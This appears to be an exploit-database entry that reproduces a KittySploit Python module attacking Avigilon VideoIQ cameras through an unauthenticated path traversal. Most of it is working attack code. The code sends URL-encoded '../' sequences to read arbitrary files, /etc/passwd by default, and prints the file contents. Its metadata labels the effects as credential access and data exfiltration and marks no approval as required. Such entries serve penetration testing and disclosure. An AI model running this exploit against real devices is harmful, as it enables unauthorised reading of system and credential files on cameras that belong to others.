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Avigilon VideoIQ Camera Path Traversal

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
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Unauthenticated path traversal in Avigilon VideoIQ Camera allows reading filesystem files.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Avigilon VideoIQ Camera Path Traversal"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Avigilon VideoIQ Camera Path Traversal',
        'description': 'Module exploits Avigilon VideoIQ Camera Path Traversal vulnerability. If target is vulnerable it is possible to read file from file system.',
        'author': ['Yakir Wizman', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'references': ['https://www.exploit-db.com/exploits/40284/'],
        'tags': ['iot', 'camera', 'lfi', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(8080, "Target HTTP port")
    filename = OptString("/etc/passwd", "File to read from filesystem")

    def run(self):
        if self.check():
            print_success("Target seems to be vulnerable")

            path = "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{}".format(self.filename)

            response = self.http_request(
                method="GET",
                path=path
            )

            if response is None:
                print_error("Exploit failed - could not read response")
                return

            print_status("Trying to read file: {}".format(self.filename))
            if any(err in response.text for err in ["Error 404 NOT_FOUND", "Problem accessing", "HTTP ERROR 404"]):
                print_status("File does not exist: {}".format(self.filename))
                return

            if response.text:
                print_info(response.text)
            else:
                print_status("File seems to be empty")
        else:
            print_error("Exploit failed - target seems to be not vulnerable")
    def check(self):
        path = "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"

        response = self.http_request(
            method="GET",
            path=path
        )

        if response and ("/etc/passwd" in (response.text or '')):
            return True  # target is vulnerable

        return False  # target is not vulnerable

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19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9
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